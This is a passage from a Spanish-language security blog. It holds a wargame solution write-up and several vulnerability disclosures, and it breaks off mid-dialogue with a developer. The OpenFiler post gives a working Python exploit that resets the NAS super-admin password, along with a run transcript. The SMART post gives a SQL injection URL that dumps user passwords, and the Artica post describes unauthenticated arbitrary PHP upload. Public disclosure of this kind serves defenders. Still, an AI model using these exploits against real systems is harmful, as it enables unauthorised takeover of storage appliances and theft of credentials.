tuoq rgq dqadsmzulmd k euybxuruomd baboxuqzf. Qx fdmnmva pq Omdx Tmddue qdm ygk ngqza, bqda qjtuním gzm oaybxqvupmp uzzqoqemdum, fíbuom pq ygotae pq xae bdasdmympadqe qz O. Éx fdmfmnm qx oópusa oaya xm bmdfq oqzfdmx k xme qefdgofgdme pq pmfae oaya gz mbaka bmdm éefq. Oaya dqegxfmpa, qx oópusa dqegxfó ygk qxqsmzfq, bqda qx pueqña pq xme qefdgofgdme pq pmfae emxuó mp tao k rqa (bad xa yqzae oaz dqebqofa m xae qefázpmdqe qjusqzfqe pq qefq huqva tmowqd pq Xueb).<br /></div></blockquote><div style="text-align: justify;">Cuando vemos algo así, inmediatamente pensamos en <a href="http://es.wikipedia.org/wiki/Criptografia">criptografia </a>o algun tipo de codificación para esconder el texto real. La verdad este mecanismo de cifrado no es muy complicado y se puede resolver fácilmente con el uso de herramientas como <a href="http://es.wikipedia.org/wiki/Cryptool">cryptool </a>o con alguna herramienta para consola instalable para linux, BSD, etc.<br /><br /></div><div style="text-align: justify;">El cifrado usado especificamente para este nivel es el del <a href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">Cesar</a>, una vez descifrado el texto leeras un par de parrafos de un texto muy común en el mundo del software libre. Te daras cuenta que hacen parte del ensayo: <a href="http://es.wikipedia.org/wiki/La_catedral_y_el_bazar">La catedral y el Bazar</a><a href="http://es.wikipedia.org/wiki/La_catedral_y_el_bazar">,</a> si aún no lo has leido, que esperas?<br /><br />Como la pregunta de la pista dice <span style="font-weight: bold;">quien es, quien es</span>?, se supone que hace referencia a alguien, precisamente <a href="http://es.wikipedia.org/wiki/Eric_S._Raymond">el personaje</a> que escribio este ensayo. Esa es la respuesta ;)<br /></div><br /><div style="text-align: justify;"><span style="font-style: italic;">Pd: si te gustó el tema de criptografia, un estudiante del </span><a style="font-style: italic;" href="http://www.sena.edu.co/">SENA MEDELLÍN</a><span style="font-style: italic;">, creó un algoritmo de cifrado sencillo, </span><a style="font-style: italic;" href="http://200.21.18.132:8088/wiki/Criptografia/Ejercicio">porque no intentas el reto</a><span style="font-style: italic;">?</span><br /></div><br /><br /></div><span style="font-weight: bold;">NIVEL 8a - </span>JUAAAAA<br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY9bptkSZYI/AAAAAAAAA1M/QBUEQf9ty94/s1600-h/sol35-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 214px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY9bptkSZYI/AAAAAAAAA1M/QBUEQf9ty94/s400/sol35-r.png" alt="" id="BLOGGER_PHOTO_ID_5300556058602923394" border="0" /></a></div><div style="text-align: left;"><div style="text-align: justify;">Este nivel es bueno, consiste en adivinar una clave teniendo como unica pista una risotada de los amigos <a href="http://es.wikipedia.org/wiki/Calvin_y_Hobbes">Calvin y Hobbes</a>, realmente estos personajes no son el punto en cuestión, encambio si la risa de ambos. Como se expresa una risa incontenible en un chat, en un foro, en cualquier otro mecanismo de comunicación de Internet ?(no es oficial, es la jerga de Internet)<br /></div><b><br />LOL</b>: acrónimo de "Laughing Out Loud", también "Lot Of Laughs", risa ruidosa o carcajada.<br /><br /><div style="text-align: center;"><span style="font-weight: bold; color: rgb(153, 0, 0);">LOL</span><br /><br /></div><br /></div></div><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 8b - </span><span style="font-weight: bold;">SISTEMAS DE ARCHIVOS</span><br /></div><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9dhEjCJoI/AAAAAAAAA1U/k2F5bka0k5M/s1600-h/sol41-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 214px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9dhEjCJoI/AAAAAAAAA1U/k2F5bka0k5M/s400/sol41-r.png" alt="" id="BLOGGER_PHOTO_ID_5300558109176112770" border="0" /></a><br /><div style="text-align: justify;">La pista de este nivel nos habla de sistemas de archivos, puntos de montaje y etc. La forma de resolverlo es buscar que particiones estan disponibles en el sistema, de esa forma veremos algunas particiones que no estan montadas en el sistema, entonces las montamos y luego verificamos que hay en ellas. allí vamos a encontrar muchos archivos y directorios, si podemos hacer una busqueda por todos estos archivos buscando la palabra "<span style="font-weight: bold;">clave"</span>, encontraremos un archivo que tiene la respuesta. Otra posibilidad era abrir archivo por archivo y buscar la clave o programar un script en cualquier lenguaje, tal como <a href="http://es.wikipedia.org/wiki/Perl">perl,</a> <a href="http://es.wikipedia.org/wiki/Php">php </a>o <a href="http://es.wikipedia.org/wiki/Python">python</a> para que realizara esta busqueda por nosotros.<br /></div></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9ev0dzXyI/AAAAAAAAA1k/5aYNseXZNr0/s1600-h/nivel41-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 182px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY9ev0dzXyI/AAAAAAAAA1k/5aYNseXZNr0/s400/nivel41-r.png" alt="" id="BLOGGER_PHOTO_ID_5300559462068870946" border="0" /></a><br /><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 9a - </span><span style="font-weight: bold;">CORREO LINUXERO</span><br /><div style="text-align: left;"><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY-C7o9MQXI/AAAAAAAAA10/i2Qssbr6kbE/s1600-h/sol42-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 212px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY-C7o9MQXI/AAAAAAAAA10/i2Qssbr6kbE/s400/sol42-r.png" alt="" id="BLOGGER_PHOTO_ID_5300599247556329842" border="0" /></a>Este nivel es para los mas viejitos, los que crearon cuentas alguna vez en <a href="http://es.wikipedia.org/wiki/Rocketmail">rocketmail, </a>mixmail y porsupuesto:<a href="http://www.linuxmail.org/"> linuxmail.org</a>.<br /><br /><span style="font-style: italic;">Pd: sera que ya estamos muy viejos?</span><br /><br /></div><br /></div></div><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 9b - </span><span style="font-weight: bold;">ADIVINANDO?</span><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-Dlc-ckfI/AAAAAAAAA18/MfiJp76IeK8/s1600-h/sol43-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 219px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-Dlc-ckfI/AAAAAAAAA18/MfiJp76IeK8/s400/sol43-r.png" alt="" id="BLOGGER_PHOTO_ID_5300599965894873586" border="0" /></a><br />Las pistas de este nivel son algo confusas, pero son aproposito.<br /><blockquote><br /><span style="color: rgb(51, 102, 255);">1. Juego BSDero/Linuxero/Geek para consola con nombre de malware</span><br /><span style="color: rgb(51, 102, 255);">2. "101" veces la cabeza del protagonista</span><br /><span style="color: rgb(51, 102, 255);">3. Cuanto pesa sin espacio?</span><br /></blockquote><div style="text-align: justify;">A primera vista no tienen relación, no tiene sentido, pero analicemos.<br /><br /><a href="http://es.wikipedia.org/wiki/Malware">Que es un malware?</a>, ahora que has leido has encontrado cosas como: t<span style="font-style: italic;">rojan horse, virus, worms, logic bombs, etc.</span> Bueno, la primera pista dice que el juego tiene nombre de malware, osea que se debe llamar como esos que acabamos de mencionar.<br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY-K1LMoF7I/AAAAAAAAA2c/_ctYL8x9yvk/s1600-h/nivel43-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 56px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY-K1LMoF7I/AAAAAAAAA2c/_ctYL8x9yvk/s400/nivel43-r.png" alt="" id="BLOGGER_PHOTO_ID_5300607932581812146" border="0" /></a><br /><div style="text-align: center;"><span style="font-weight: bold;">!WORM!</span><br /></div><br /><div style="text-align: justify;">La segunda pista dice <span style="font-weight: bold;">"101"</span> veces la cabeza del protagonista. Si observamos la cabeza del protagonista en consola veremos que es una @, <span style="font-style: italic;">101 en binario es el 5,</span> por lo tanto estamos diciendo algo como<span style="font-weight: bold;"> 5 @</span>, pero la tercera pista dice que sin espacios, que cuanto pesa?<br />La respuesta es que pesa <span style="font-weight: bold;">5 arrobas</span> ;)<br /><br /></div><br /><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 10a - </span><span style="font-weight: bold;">EL JEROGLIFICO</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY-LkVYa6JI/AAAAAAAAA2k/jtrBl4mwZqY/s1600-h/sol44-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 220px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY-LkVYa6JI/AAAAAAAAA2k/jtrBl4mwZqY/s400/sol44-r.png" alt="" id="BLOGGER_PHOTO_ID_5300608742769485970" border="0" /></a><br /><div style="text-align: left;"><div style="text-align: justify;">Es muy simple de resolver este nivel, solo es descifrar el jeroglifico.<br /><br />Por ahi en la wikipedia dice algo acerca de <a href="http://es.wikipedia.org/wiki/Francisco_Jose_de_Caldas">Francisco Jose de Caldas</a>.<br /></div><br /><blockquote>"Cuando bajaba las escalinatas de la Universidad del Rosario, en camino hacia el patíbulo, dibujó en una pared la letra griega <span style="font-weight: bold;">θ</span>, enigma que tradicionalmente<div id=":1mf" dir="ltr" class="h8iICe"> se ha interpretado como <span style="font-size:130%;"><span style="font-weight: bold;">Oh, larga y negra partida</span></span> ..."</div></blockquote><div id=":1mf" dir="ltr" class="h8iICe"></div><div id=":1mf" dir="ltr" class="h8iICe">Quien lo adivinó?, si adivinabamos el jeroglifo, buscabamos el autor de esa frase, y el primer apellido del mismo era <span style="font-style: italic;">caldas</span>, justamente la clave para pasar el nivel.<br /></div><br /></div><br /></div><div style="text-align: center;"><span style="font-weight: bold;">NIVEL 10b - </span><span style="font-weight: bold;">EL FINAL</span><br /></div><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY-MiyjxTCI/AAAAAAAAA2s/4M6aCARz-Cs/s1600-h/sol45-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 215px;" src="http://2.bp.blogspot.com/_qAkKS-aUuQk/SY-MiyjxTCI/AAAAAAAAA2s/4M6aCARz-Cs/s400/sol45-r.png" alt="" id="BLOGGER_PHOTO_ID_5300609815753608226" border="0" /></a>Este nivel tenia un poco de dificultad, pero solo porque estamos acostumbrados a pensar en un sentido. Las pistas del nivel eran:<br /></div><blockquote style="color: rgb(51, 102, 255);"><br />1. http://201.232.43.71:3002/theend.php<br />2. piensa al reves</blockquote>El script en PHP devolvia un error:<br /><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY-N8yyIamI/AAAAAAAAA20/4kUjQjiNVp8/s1600-h/sol1010-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 52px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY-N8yyIamI/AAAAAAAAA20/4kUjQjiNVp8/s400/sol1010-r.png" alt="" id="BLOGGER_PHOTO_ID_5300611362002070114" border="0" /></a><br /></div><div style="text-align: justify;">A primera vista lo que sucede es que el script no puede acceder a la base de datos, puede ser que tenga el usuario o la clave incorrecta, asi que lo primero que intentamos es entrar al código fuente del script, pero desafortunadamete esta <a href="http://es.wikipedia.org/wiki/C%C3%B3digo_ofuscado">ofuscado</a> y no entendemos nada de nada.<br />Que hacemos?<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY-OhkAYdnI/AAAAAAAAA28/oNVQAqMoN0o/s1600-h/ofuscado-r2.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 44px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SY-OhkAYdnI/AAAAAAAAA28/oNVQAqMoN0o/s400/ofuscado-r2.png" alt="" id="BLOGGER_PHOTO_ID_5300611993690470002" border="0" /></a>Aqui es donde todos enloquecieron, como hacemos para saber como nos conectamos a la base de datos, si no podemos entrar al script en php? ...<br /></div><br /><div style="text-align: justify;">La segunda pista es la clave del asunto, nos dice: <span style="font-weight: bold;">"piensa al reves"</span>, pensar al reves en este tipo de juegos significa enfocar el problema diferente, quizas no es que tengamos que modificar el script para que acceda como queremos, quizas lo que tenemos que hacer es organizarle todo para que no produzca error.<br /><br /><div style="text-align: justify;">Finalmente entendemos ese concepto de pensar al reves y lo que hacemos es ir a la <a href="http://es.wikipedia.org/wiki/Mysql">BD (MySQL)</a>, pero como entramos?, cual es el usuario y la clave?, esta es la parte fácil, pues l<span style="font-style: italic;">a clave para el usuario root es root</span>.<br /></div></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-PZD5ZwgI/AAAAAAAAA3E/s_EFtNRwmN8/s1600-h/casi.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 96px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SY-PZD5ZwgI/AAAAAAAAA3E/s_EFtNRwmN8/s400/casi.png" alt="" id="BLOGGER_PHOTO_ID_5300612947143934466" border="0" /></a>Lo que nos encontramos cuando entramos es que ni la BD, ni las tablas que solicita el script existen, entonces que hacemos?. Nuevamente pensamos al reves y lo que hacemos es ponerle un password que posiblemente este usando el script y luego creamos la base de datos que esta buscando y vamos verificando que los errores cambian y nos vamos acercando a la respuesta.<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY-QDCXXTGI/AAAAAAAAA3M/sSjXmRG4tGU/s1600-h/casi2.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 50px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SY-QDCXXTGI/AAAAAAAAA3M/sSjXmRG4tGU/s400/casi2.png" alt="" id="BLOGGER_PHOTO_ID_5300613668287237218" border="0" /></a>Y asi continuamos creando todo lo que suponemos que el script necesita hasta que nos da la contraseña del último nivel. Bonito no?<br /><br />Aunque hubo un ganador en el wargame, realmente se que no pasaron todos los niveles de la forma que se esperaba, son cosas que debemos mejorar ;). Por ejemplo si usabamos la misma BD para almacenar las respuesta es obvio que la mas fácil seria buscar la tabla de respuestas y olvidarse de pensar al reves.<br /></div><br /><div style="text-align: justify;">Tambien algunos intentaron desofuscar el script, pero esto es una tarea realmente ardua, solo para <a href="http://en.wikipedia.org/wiki/Reverse_engineering">reversers</a> (a.k.a crackers).<br /></div><br /><div style="text-align: center;"><span style="font-weight: bold;">PALABRAS FINALES<br /></span><div style="text-align: left;"><br /><div style="text-align: justify;"><span>Gracias a todos los que se tomaron la molestia en jugar, yo se que este tipo de juegos no es muy conocido en Colombia, pero iniciar con algo ya es algo. ;)</span><br /><br /><span>Hubo un ganador, que termino a media noche y me envio un SMS a despertarme porque habia pasado el reto, felicitaciones para Él.</span><br /><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SZAqcHyMCBI/AAAAAAAAA3s/CFtDO_J3T3g/s1600-h/ganador-r.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 165px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SZAqcHyMCBI/AAAAAAAAA3s/CFtDO_J3T3g/s400/ganador-r.png" alt="" id="BLOGGER_PHOTO_ID_5300783424029329426" border="0" /></a><br /><div style="text-align: justify;">Agradezco a la empresa <a href="http://www.serviunix.com/">ServiUnix.com </a>por prestarme la conectividad y el servidor para implementar el reto durante el mes que estuvo al aire, esperemos que en un futuro haya mas colaboración por parte de la comunidad para los retos organizados durante los eventos<br /><br />Gracias a los compañeros <span style="font-style: italic;">wilmaron y duma</span> por colaborar con la realización del reto, recuerden que la plataforma donde lo montamos es la misma en la que se viene trabajando desde el 2007, es software libre y se puede usar en lo que quieran.<br /><br />Y finalmente gracias a los <a href="http://en.wikipedia.org/wiki/Lamers">lamers </a>que intentaron hacerle <a href="http://es.wikipedia.org/wiki/Ataque_de_denegaci%C3%B3n_de_servicio">D.O.S </a>al servidor varias veces, que ejecutaron exploits, hicieron forks() infinitos y todas esas niñerias que finalmente nos ayudaron a organizar mejor la seguridad de la plataforma. ;)<br /><br /></div>Eso es todo, cualquier duda sobre las respuestas en los comentarios, recuerden que tambien pueden descargar todos los archivos nivelx.jsl para hacer pruebas. Byte all.<br /><br /><span style="font-style: italic;">Pd: No pense que me fuera a quitar tanto tiempo hacer este solucionario ...</span><br /><br /></div></div></div></div></div></div></div></div></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3520394904286867541?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com2tag:blogger.com,1999:blog-6456964801927997186.post-13608618454834068202009-02-04T14:59:00.005-05:002009-02-04T15:19:45.161-05:00Bug for SMART (conformix ) v. 3.0.3 (current)<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.conformix.com/"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 261px; height: 52px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SYn3HS8HkiI/AAAAAAAAAyM/-txRvC5iAy0/s400/conformix.jpg" alt="" id="BLOGGER_PHOTO_ID_5299038141293236770" border="0" /></a><br /><div style="text-align: justify;"><a href="http://smart.conformix.com/">Smart</a> es un software que ayuda a hacerle el seguimiento a los procesos de gestión relacionados con seguridad informática.<br />Mirando el código encontre varias cosas, solo pongo un ejemplo para que ustedes mismos investiguen un poco mas.<br /><br />El bug es un tipico SQL injection, tambien hay otros bugs sencillos como XSS y errores en los scripts que me indican donde estan instalados.<br />Un ejemplo de SQL injection (PoC):<br /><br />En el archivo: <span style="font-weight: bold;">downloadlibraryfile.php</span><br /><br />Ejemplo:<br /><span style="color: rgb(255, 0, 0);">http://smarthost/downloadlibraryfile.php?fileId='2' AND 0</span><br /><span style="color: rgb(255, 0, 0);">UNION SELECT password,password,password,password FROM user</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SYn3Ha8AdGI/AAAAAAAAAyU/FpHYZ2VLvSk/s1600-h/smart.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 236px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SYn3Ha8AdGI/AAAAAAAAAyU/FpHYZ2VLvSk/s400/smart.png" alt="" id="BLOGGER_PHOTO_ID_5299038143440254050" border="0" /></a>Otros archivos posiblemente vulnerables:<br />* <span style="font-weight: bold;">firewallrequest.php</span><br />* <span style="font-weight: bold;">firewallrequestprocessing.php</span><br />puedo inyectar variables en<br />$srcIP=$_POST['srcIP'];<br />$dstIP=$_POST['dstIP'];<br />$srcNAT=$_POST['srcNAT'];<br />$dstNAT=$_POST['dstNAT'];<br />$port=$_POST['port'];<br />$protocol=$_POST['protocol'];<br />$justification=$_POST['justification'];<br />$firstname=$_POST['firstname'];<br /><br />Como siempre, si estas usando esta versión entonces parcha el software.<br />Saludos.<br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-1360861845483406820?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-10786830961925855432009-02-03T15:46:00.005-05:002009-02-04T14:17:51.676-05:00Bug and exploit for OpenFiler 2.3<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_qAkKS-aUuQk/SYiuglhA2pI/AAAAAAAAAyE/aMhCVTyI8ns/s1600-h/openfiler_logo_6.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 159px; height: 46px;" src="http://1.bp.blogspot.com/_qAkKS-aUuQk/SYiuglhA2pI/AAAAAAAAAyE/aMhCVTyI8ns/s400/openfiler_logo_6.png" alt="" id="BLOGGER_PHOTO_ID_5298676836451015314" border="0" /></a><br />Todos saben lo que es un<a href="http://en.wikipedia.org/wiki/Network-attached_storage"> </a><a href="http://en.wikipedia.org/wiki/Network-attached_storage" org="" wiki="" attached_storage="">NAS</a> y saben que pueden almacenar mucha información critica para una compañia, como los respaldos de las estaciones y almacenar BDs y etc. Que pasaria si alguien no autorizado pudiera convertirse en el administrador de su appliance NAS?<br /><br />Los amigos de OpenFiler nunca contestaron, por eso publico esto aqui:<br /><br />********************************************************************************************<br />********************************************************************************************<br /><br />Software:<br /><br />Distro Release: Openfiler NAS/SAN Appliance 2.3<br />GUI Version: r1563-2-1<br /><br />(http://www.openfiler.com/)<br /><br />Openfiler takes the pain out of deploying and managing networked storage. You bring the hardware, any industry standard server will do, combine it with our Openfiler software and the result is a powerful networked storage solution that exports your data via a full suite of industry standard storage networking protocols. Openfiler lowers deployment and maintenance costs for networked storage without compromising functionality or performance.<br /><br />Author: just a nonroot user<br /><br />Vuln Type: register globals or something like that<br /><br />Date: 2 weeks ago, not answer from devs.<br /><br />********************************************************************************************<br />********************************************************************************************<br /><br />in:<br /><br />[root@nas account]# pwd<br />/opt/openfiler/var/www/htdocs/account/password.html<br />[root@nas account]#<br /><br /><br /> 10 require("pre.inc");<br /> 11<br /> 12<br /> 13 if ($GLOBALS["userauthenticated"] == 0)<br /> 14 {<br /> 15 generic_header(array("title" => _("Your account")));<br /> 16 dual_begin(array());<br /><br /><br />you can set userauthenticated via GET, then you know.<br /><br />and ...<br /><br /><br /> 93<br /> 97 form action="password.html" method="post"<br /> 98 ...<br /><br />You can set the variables in the form.<br /><br />then you can set the "openfiler" password to anything that you like.<br /><br />**********************************************************<br /><br />You can exploit this with something like (PoC):<br /><br /> 1 # Coded by http://nonroot.blogspot.com/<br /> 2 import urllib,sys,re<br /> 3 #host example: https://192.168.20.5:446/<br /> 4 host=raw_input("OpenFiler system ( include http and /): ")<br /> 5 #Super admin user<br /> 6 user='openfiler'<br /> 7 #What pass do you want?<br /> 8 password='nonroot'<br /> 9 #use it please ;)<br /> 10 fake="myladyastridcita"<br /> 11 data= urllib.urlencode({'current_password':fake , 'passcookie': fake, 'usercookie': user,'new_password': password,'confirm_new_pas sword': password,'userauthenticated':"666"})<br /> 12 response= urllib.urlopen(host+"account/password.html", data)<br /> 13 data=response.read()<br /> 14 print data<br /> 15 lookup=re.compile("successfully").search<br /> 16 match=lookup(data)<br /> 17 if match:<br /> 18 print "Ok, now go and login with user:", user, " and password: ", password, " in ",host<br /> 19 else:<br /> 20 print "Exploit failed, sorry, go and find some new bug or check this code and fix it!"<br /> 21 sys.exit(2)<br /> 22 sys.exit(0)<br /><br />**********************************************************<br /><a href="http://www.milw0rm.com/exploits/7972">http://www.milw0rm.com/exploits/7972</a><br /><br />use it:<br /><br />nando:/home/nando# python exp_103_openfiler.py<br />OpenFiler system ( include http and /): https://192.168.20.5:446/<br />Ok, now go and login with user: openfiler and password: nonroot in https://192.168.20.5:446/<br />nando:/home/nando#<br /><br />That's all<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-1078683096192585543?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com0tag:blogger.com,1999:blog-6456964801927997186.post-76119705930750969922008-10-17T21:20:00.008-05:002008-10-17T22:31:04.613-05:00I have the reason (Artica case)<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.artica.fr/img/nologon.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://www.artica.fr/img/nologon.jpg" alt="" border="0" /></a>Esta entrada en el blog tiene dos motivos:<br /><br /><span style="font-size:85%;"> <span style="font-style: italic;">1. Recordarme que aveces me da por alegar por pura terquedad.<br /><br /></span><span style="font-style: italic;">2. Que cuando se reporta un bug hay de respuestas a respuestas, esta me parecio muy divertida.</span> </span><br /><br />El caso es que en la empresa estamos trabajando con una solución llamada <a href="http://www.artica.fr/">artica,</a> la cúal entre muchas cosas integra un sistema de correo con todos los juguetes.<br /><br />Bueno, el caso es que me puse a mirar un poco los archivos del software y me encontre con uno muy especial llamado: <span style="font-style: italic; font-weight: bold;">upload.php</span>.<br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPlNohWKQ4I/AAAAAAAAAls/PUWu_JtAopw/s1600-h/artica1.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPlNohWKQ4I/AAAAAAAAAls/PUWu_JtAopw/s400/artica1.png" alt="" id="BLOGGER_PHOTO_ID_5258319398473188226" border="0" />Paso 1. Abra la URL con el script (no necesita auth en el artica)</a><br /><br /><br /><br /></div><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPlNojSFULI/AAAAAAAAAl0/LevmsKUFkDc/s1600-h/artica2.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 397px; height: 166px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SPlNojSFULI/AAAAAAAAAl0/LevmsKUFkDc/s400/artica2.png" alt="" id="BLOGGER_PHOTO_ID_5258319398992957618" border="0" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPlNohWKQ4I/AAAAAAAAAls/PUWu_JtAopw/s1600-h/artica1.png">Paso 2. Cargue un script que haga lo que usted quiera (PHP)</a><br /><br /><br /></div><div style="text-align: center;"> <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPlNo_5Fj3I/AAAAAAAAAl8/2Aitf8SrbXA/s1600-h/artica3.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPlNo_5Fj3I/AAAAAAAAAl8/2Aitf8SrbXA/s400/artica3.png" alt="" id="BLOGGER_PHOTO_ID_5258319406672744306" border="0" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SPlNohWKQ4I/AAAAAAAAAls/PUWu_JtAopw/s1600-h/artica1.png">Paso 3. Disfrute</a><br /><br /></div>Cuando lo abrí me di cuenta que precisamente era eso, un uploader, lo malo del asunto es que permitia subir archivos a la plataforma y lo segundo mas malo es que en ningun lado se hablaba de el. Como un adulto responsable le escribí al desarrollador principal de artica y para no postear los emails, resumo lo sucedido:<br /><br /><span style="color: rgb(255, 0, 0);">yo:</span><br /> <span style="color: rgb(255, 0, 0);">Que tal dev, me parece que este archivo no deberia estar aqui, se les olvido quitarlo o es un bug?, me podrias confirmar? (siempre pido una confirmación para no sentirme tan loco)</span>.<br /><span style="color: rgb(0, 51, 0);"><br />dev:<br /></span> <span style="color: rgb(0, 51, 0);">Querido amigo, te cuento que eso es un archivo viejo que usaba para hacer pruebas, no te preocupes borralo y todo estará bien.</span><br /><span style="color: rgb(255, 0, 0);"><br />yo:<br /></span> <span style="color: rgb(255, 0, 0);">Hola!, si, yo se que si lo elimino todo estará bien, pero que pasa con las otras personas que no lo han visto?, existe algun archivo README, INSTALL donde lo mencionen?</span><br /><br /> <span style="color: rgb(0, 51, 0);">dev:<br /></span> <span style="color: rgb(0, 51, 0);">NO, no se preocupe, eso ya desaparecio en versiones anteriores, relajese, tomese un tinto, no es para tanto.<br /><br /></span><span style="color: rgb(255, 0, 0);">yo:<br /></span> <span style="color: rgb(255, 0, 0);">no, no, no, no me entiendes, quiero una respuesta clara, quiero saber que es lo que pasa, acabo de bajar la última versión de artica (artica-postfix-1.2.101718.deb) para debian y el archivo sigue allí. Entonces eso significa que las personas que usen artica sobre debian son vulnerables?, existe algun archivo donde se mencione esto?, deberia haber una advertencia.</span><br /><span style="color: rgb(0, 51, 0);"><br />dev: (un poco mas alterado)<br /></span> <span style="color: rgb(0, 51, 0);">Que no ohme, seguro cuando hiciste una actualización el archivo se mantuvo ahí y por eso crees que lo estas instalando. Solo borralo y olvida el asunto.<br /><br /></span><span style="color: rgb(255, 0, 0);">yo:</span><br /> <span style="color: 